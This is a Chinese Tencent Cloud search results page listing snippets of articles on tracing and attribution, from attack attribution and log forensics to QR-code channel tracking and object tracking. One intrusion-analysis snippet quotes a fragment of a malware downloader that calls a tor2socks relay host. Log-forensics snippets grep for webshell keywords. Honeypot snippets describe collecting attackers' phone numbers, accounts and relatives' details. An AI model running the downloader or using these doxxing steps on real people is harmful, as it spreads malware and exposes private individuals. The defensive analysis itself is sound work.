首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏FreeBuf

    追踪溯源 | 希拉里邮箱泄露事件

    看了国外的几篇针对希拉里邮箱泄露事件的溯源分析,感觉基本上溯源算是失败了。黑了希拉里的人是什么动机?来自哪里?是川普派来的么?是第二次水门事件么?最终,答案都是不知道。 在整个溯源过程中,大家用的方法却有很多值得借鉴和学习,尤其是未来在追踪APT的过程中可以用到。 所以安全公司追踪他的发邮件源: 从邮件头的”received from”的地方,可以看到发信的IP地址是95.13.15.34。这个IP是最后的发件地址。是法国的IP。 这对于溯源,对于安全追踪来说,这种证据站不住脚。何况这个网站还支持英文版。这中间少了关键的一环。 到这里溯源基本上进入死胡同了。 从追踪溯源的角度来看,这次跟踪证据链比较弱,挖的东西形不成链路,至少无法说服我。

    1.3K60发布于 2018-02-08
  • 来自专栏技术篇

    匿名网络追踪溯源机制及方法

    但同时,攻击者也看到了匿名网络所带来的匿名性,可以利用匿名网络发动网络攻击,逃避司法取证人员的追踪调查,因此匿名网络中的攻击溯源问题也近几年追踪溯源的热点。 其实关于匿名网络的追踪溯源,虽然有难度,但是近几年还是有长足的进步,追溯方法也在逐步增加。陈周国、蒲石、祝世雄在《匿名网络追踪溯源》,将攻击溯源方法分为两类:匿名网络调制追踪和匿名网络渗透追踪。 图片但是这两类方法需要取证人员掌握的资源有所不同,因此从取证人员的角度,可以将匿名网络中的攻击溯源方法分2种情况:(1)取证人员能够控制全部或部分匿名网络的节点的情况下。 匿名网络的追踪溯源,有难度,但是并不是不可实现。尤其是以IP地址为基础的匿名网络,现在的IP代理识别技术基本可以实现识别用户是否使用Tor连接,这也降低了匿名网络追踪溯源的难度。 随着国家对攻防演习的重视,未来对于匿名网络的追踪溯源能力也会越来越强,就让我们拭目以待吧。

    1.9K10编辑于 2022-10-08
  • 来自专栏绿盟科技研究通讯

    安全知识图谱 | 按图索“迹” 追踪溯源

    如图3所示,该技术框架针对攻击事件报告中攻击行为的描述进行语义与语法分析,提取有效的实体与关系建立攻击行为子图,该攻击子图可以直接应用到日志溯源图中。 基于图中路径的攻击信息并不能完全反应攻击路径,需要结合威胁评估方法,把溯源图中的节点看作目标实体,边看作攻击行为,通过攻击威胁评估模型得到溯源图中每个节点的威胁度,基于节点的威胁度通过贪心算法找到攻击路径 在攻击路径调查过程中,通常始于已确定的攻击行为或已攻陷的受害者攻击路径,而溯源的终止条件通常为外部IP的网络连接行为,如果无法溯源到网络连接行为则该主机即为最终攻击者。 这里路径溯源算法采用贪心算法。 四、总结 网络攻击事件调查技术通过综合利用各种手段主动地追踪网络攻击发起者、定位攻击源,结合网络取证和威胁情报,有针对性地减缓或反制网络攻击,争取在造成破坏之前消除隐患,在网络安全领域具有非常重要的现实意义 Available from: https://cyboxproject.github.io/. 9. Kipf, T.N. and M.

    1.3K40编辑于 2021-12-10
  • 来自专栏测试开发干货

    《测试开发方法论》之 追踪溯源

    什么是追踪溯源,这个词语放在 “测试开发” 工作中要怎么理解 我们先放一放。 先来想一下,在测试开发工程师写一个复杂平台的时候,最担心什么?

    34220编辑于 2022-05-19
  • 溯源二维码如何精准追踪App渠道数据?

    但普通的下载二维码并不能做到效果追踪,推广方并不能以此追踪各个地推员、每张海报、每个入口带来的用户数据,推广预算的投入无法快速衡量。今天我们重点要介绍的就是可溯源的App线下二维码。 然而,传统的线下推广往往面临以下痛点:数据追踪困难: 难以准确统计每个渠道的下载量、激活量和用户行为。效果评估滞后: 无法及时了解推广效果,难以进行优化调整。 2、后端配置追踪参数在二维码链接中嵌入渠道标识参数(如渠道ID、广告编号等),当用户扫描并进入App后,后台能识别用户的来源渠道。 3、集成openinstall SDKopeninstall是一款专业的应用安装与激活统计工具,支持精准的渠道追踪和用户归因。 总结线下App推广借助二维码技术,结合openinstall的强大渠道追踪能力,可以实现渠道数据的全面、精准统计。这不仅帮助企业清晰了解各渠道的效果,还能根据数据优化推广策略,提高ROI。

    34010编辑于 2025-05-30
  • 来自专栏用户7614521的专栏

    进口冷链食品的即验式购物链溯源追踪技术

    一种借由商品二维码结合商家标识码的双重验证,同时采用即时验证和信息反馈技术,并通过扫描数字结账条码进行结账,以实现全流程溯源防伪和流向追踪的购物链系统。 一. 实现五大目标 1.全流程:进口冷链食品从原产厂家、海关、进口商、运输仓储、经销商、销售商场到购买者,实现全流程的溯源防伪和流向追踪。 基本原理 当前进口冷链食品的销售商场难以管控,涉疫食品流向难以追踪,更无法将涉疫食品信息即时通知所有的购买者,使得控制疫情愈加困难,社会成本十分巨大。 即验式购物链系统采用商品和商家双重验证,并实现全流程的溯源防伪和流向追踪。它主要包括三个组成部分。 1.溯源防伪系统:包括手机扫描软件和后台管理系统两部分,主要负责原产厂家、通关检疫、商品、生产经营单位、运输仓储、销售商场和购买者的信息收集、商品查询验证、商家验证和数字结账条码发送等信息的收集、分析与管控

    66400发布于 2020-11-16
  • 来自专栏机器之心

    不影响输出质量还能追踪溯源,「大模型无偏水印」入选ICLR 2024 Spotlight

    为了应对这一挑战,研究者们提出了在LLM生成过程中嵌入水印的方法,以实现对模型输出内容的追踪溯源。 该方法不仅能在LLM生成过程中嵌入水印,实现内容溯源,还能保证嵌入水印后的文本质量不受影响。相关论文已被ICLR 2024会议接收为Spotlight论文。 这一矛盾导致传统水印方法难以在内容溯源和质量保证之间取得平衡。 为了解决这一问题,该研究提出了无偏水印方法。 其核心思想是:利用多个水印分布,而不是单一的水印分布。

    39710编辑于 2024-06-04
  • yolov9+deepsort+pyqt5实现目标追踪

    【YOLOv9+DeepSORT+PyQt5追踪介绍】 随着人工智能技术的飞速发展,目标追踪在视频监控、自动驾驶等领域的应用日益广泛。 其中,YOLOv9作为先进的目标检测算法,结合DeepSORT多目标追踪算法和PyQt5图形界面库,能够为用户提供高效、直观的目标追踪体验。 通过将YOLOv9和DeepSORT算法集成到PyQt5界面中,用户可以直观地看到视频流中的目标对象及其追踪轨迹,从而实现对目标对象的实时监控和追踪。 综上所述,YOLOv9+DeepSORT+PyQt5的组合,实现了目标检测与追踪的高效结合,为用户提供了直观、易用的追踪体验。 【视频演示】 yolov9+deepsort+pyqt5实现目标追踪结果演示_哔哩哔哩_bilibili这个是使用2024年最新深度学习目标检测框架yolov9结合deepsort和pyqt5实现追踪算法演示

    23410编辑于 2025-07-20
  • yolov9+bytetrack+pyqt5实现目标追踪

    YOLOv9能够同时处理多个尺度的目标,并有效地应对复杂场景中的遮挡、形变等问题。这使得它成为目标追踪任务中的理想选择。 在目标追踪任务中,PyQt5可以用于构建用户交互界面,展示实时视频流、检测结果和追踪轨迹等信息。 整合应用 将YOLOv9、ByteTrack和PyQt5整合起来,可以实现一个功能强大的目标追踪系统。 综上所述,结合YOLOv9的高精度目标检测、ByteTrack的高效目标追踪以及PyQt5的直观用户界面,我们可以实现一个功能强大、易于使用的目标追踪系统。 【视频演示】 yolov9+bytetrack+pyqt5实现目标追踪结果演示_哔哩哔哩_bilibili这个是使用2024年最新深度学习目标检测框架yolov9结合bytetrack和pyqt5实现追踪算法演示 ,基于yolov8官方目标追踪botsort和bytetrack源码开发视频演示,Yolov9教程来了!

    35410编辑于 2025-07-20
  • 来自专栏安恒网络空间安全讲武堂

    溯源小记

    溯源的思路 看对方的目的是什么,就是最终目标是做什么。然后根据自己经验 看看达到这个目标 需要进行什么操作 逆推回去。看看这些过程都会留下什么日志。 finger/id/last/ac/uptime 1. w命令 该命令查询 /var/log/wtmp 文件并显示 当前 系统中每个用户和它所运行的进程信息: ➜ ~ w 17:47:16 up 9: FROM LOGIN@ IDLE JCPU PCPU WHAT yang tty1 :0 07:54 9:

    86220发布于 2018-09-21
  • 来自专栏Cyber Security

    应急响应-战后溯源反制&社会工程学&IP&ID追踪&URL反查&攻击画像

    ID追踪 (1) 百度信息收集:“id” (双引号为英文) (2) 谷歌信息收集 (3) src信息收集(各大src排行榜) (4) 微博搜索(如果发现有微博记录,可使用tg查询weibo泄露数据 //x.threatbook.cn/ https://ti.qianxin.com/ https://ti.360.net/ https://www.venuseye.com.cn/ 2、根据域名进行溯源 姓名/ID: 攻击IP: 地理位置: QQ: IP地址所属公司: IP地址关联域名: 邮箱: 手机号: 微信/微博/src/id证明: 人物照片: 跳板机(可选): 关联攻击事件: 日志提取-IP地址溯源 -攻击画像 日志上分析出攻击者IP地址 威胁感知-标签-社交-库搜搜-电话,其他信息等 内鬼提取-ID昵称溯源-攻击画像 某天Tg上有人贩卖课程,寻找内鬼开始 文件提取-恶意样本溯源-攻击画像 后门木马

    45010编辑于 2024-07-18
  • 来自专栏安全小圈

    蜜罐溯源

    猜测163邮箱也是该号码‘、QQ号码 支付宝溯源——转账——查找黑客信息 REG007网站: https://www.reg007.com/ 查询邮箱注册过的网站 微博找回密码链接: https:// spm=a2107.1.0.0.58bb11d9H7OMgN&from_site=0&lang=zh_CN&app_name=tb&tracelog=signin_main_pass 邮箱反查域名: https 0x03溯源结果 结果 ? IP位于湖南长沙 163邮箱、QQ号码、微信号码 手机号 相关好友,母亲信息 他的好友:张*,刘* 人物头像 附件 ? ? ? ? ? ? ? 结束!!!

    1.8K30发布于 2020-08-21
  • 来自专栏TeamsSix的网络空间安全专栏

    红客:一个不追踪溯源的网络安全匿名搜索引擎

    红客搜索是一款纯粹的网络安全搜索引擎,您可以理解它是一个安全从业者专用的谷歌或百度。

    1.4K20编辑于 2022-09-20
  • 来自专栏腾讯云安全专家服务

    入侵溯源难点和云溯源体系建设

    ,判断应用层入侵方式 (9)安全设备日志取证 ——目的:结合安全设备痕迹,充分证明应用层攻击方式成立 (10)攻击全路径还原 ——目的: 需要掌握: (1)集群业务特点 (2)访问控制特点 (3)web组件种类 (4)系统组件种类 (5)端口暴露情况 (6)漏洞总体把控 (7)渗透测试技巧,攻击者习惯,攻击者心理判断 (8)时间线把控 (9溯源体系建设应同溯源环节一样,以后置前。 name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%13))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9] 云上入侵溯源体系建设,入侵溯源体系产品化实现已成重要趋势。

    4.4K201发布于 2021-03-16
  • 来自专栏基础项目部署

    centos入侵溯源

    cmd|func|cgibin|jndi|excute|%20|system|exec|passthru|shell_exec|popen|proc_open'|awk'{print$1" "$7" "$9} | sort -nr | more#定位有哪些IP在爆破:#grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9] [0-9][0-9]?)\.#(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \.(25[0-5]|2[0-4] [0-9]|[01]?[0-9][0-9]?)" |uniq -cgrep "Failed password" /var/log/secure | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort |

    57720编辑于 2024-08-19
  • 来自专栏只喝牛奶的杀手

    事件溯源模式

    事件溯源模式具有以下优点: 事件不可变,并且可使用只追加操作进行存储。 用户界面、工作流或启动事件的进程可继续,处理事件的任务可在后台运行。 事件溯源不需要直接更新数据存储中的对象,因而有助于防止并发更新造成冲突。 但是,域模型必须仍然设计为避免可能导致不一致状态的请求。 但是,事件溯源事件的级别通常非常低,可能需要生成特定的集成事件。 通过执行响应事件的数据管理任务和具体化存储事件的视图,事件溯源通常与 CQRS 模式结合。 即使事件溯源会最大程度降低数据更新冲突的可能性,应用程序仍必须能够处理由最终一致性和缺少事务引起的不一致性。 尽管这不是事件溯源的主要特点,但却是通常的实施决策。 何时使用此模式 请在以下方案中使用此模式: 要捕获数据中的意图、用途或原因。

    1.9K40发布于 2019-09-02
  • 来自专栏清菡软件测试

    上下文管理器之《实现文件关闭、提取异常类型、异常值、异常追踪溯源信息》

    3.提取异常类型、异常值、异常追踪溯源信息 exc_type:异常类型。 exc_val:异常值。 exc_tb:异常追踪溯源。 运行结果中还有个对象:<traceback object at 0x7f7e70035288>,就是这个异常追踪信息放在这个对象里面。 exc_type) print(exc_val) print(exc_tb) 在这里可以输出日志的相关信息,代码该报错还是会报错的,只是它帮你把异常类型、异常值、异常追踪溯源信息给提取出来

    58920编辑于 2022-04-27
  • 来自专栏腾讯优码二维码

    腾讯优码一物一码溯源追踪俄罗斯商品馆商品来源争议的良方

    二、腾讯优码一物一码溯源技术的核心优势腾讯优码一物一码溯源技术就像一把精准的钥匙,为解决这些争议提供了有效途径。其去中心化的特性,使得商品来源信息不会被单一主体所控制而存在篡改风险。 一旦商品的相关溯源信息被写入,就无法被修改,这保证了消费者看到的信息是最初设定的真实情况。例如俄罗斯的特色蜂蜜,标注的生产蜂场信息如果被写入了溯源码,那么就不会被恶意更改来误导消费者。 三、腾讯优码对俄罗斯商品溯源的具体实施步骤以俄罗斯某品牌的鱼子酱为例,来看腾讯优码一物一码溯源体系的构建。 3.4 数据分析与决策支持通过对平台上大量商品溯源数据的分析,俄罗斯商品馆的运营方可以了解到不同商品最受关注的溯源信息点。 1、丰富的商品溯源模板产品推出了全新的二维码溯源创建页面,提供了多样的类型和模板,助您即刻开启二维码溯源生成之旅,再也不用配置来配置去。2、丰富的营销活动权益提供丰富的腾讯系营销权益,可以免费使用。

    66910编辑于 2025-01-10
  • 来自专栏网络技术联盟站

    如何配置攻击溯源?

    攻击溯源通过对上送CPU的报文进行采样分析,如果报文速率(pps)超过设置的阈值,则认为是攻击报文。 对攻击报文进行分析,可以找到攻击源的IP地址、MAC地址、接口和VLAN。 auto-defend attack-source命令查看 攻击源惩罚 将攻击报文进行丢弃 将攻击报文进入的接口shutdown (谨慎使用) 其他(配置流策略或者黑名单) 配置思路 创建防攻击策略 配置攻击溯源 (采样比、检查阈值、溯源模式、防范的报文类型、白名单、告警功能、惩罚措施) 应用防攻击策略 操作步骤 <HUAWEI> system-view //进入系统视图 [HUAWEI] cpu-defend 10 //配置攻击溯源采样比 [HUAWEI-cpu-defend-policy-test] auto-defend alarm enable //使能攻击溯源告警功能 ] auto-defend action deny //配置攻击溯源的惩罚措施 [HUAWEI-cpu-defend-policy-test] quit //返回系统视图 [

    1.4K10发布于 2019-11-29
  • C++使用yolov9结合bytetrack实现目标追踪演示

    【简介】 在C++中实现YOLOv9的目标检测与ByteTrack的多目标追踪是一个相对复杂的过程,涉及到深度学习、计算机视觉和实时数据处理等多个领域。 YOLOv9在速度和精度之间取得了很好的平衡,使其成为许多实时应用的首选方法。 ByteTrack是一种多目标追踪算法,它结合了目标检测和目标追踪两个步骤。 ByteTrack使用目标检测算法(如YOLOv9)来识别视频帧中的目标,并使用追踪算法来跟踪这些目标在连续帧之间的运动。 总的来说,在C++中实现YOLOv9和ByteTrack的多目标追踪是一个具有挑战性的任务,但它为实时目标检测和追踪提供了强大的工具。 ,基于yolov8官方目标追踪botsort和bytetrack源码开发视频演示,使用C++部署yolov8的onnx和bytetrack实现目标追踪,2024易语言yolo9全网最强框架更新~,用C#

    39310编辑于 2025-07-20
领券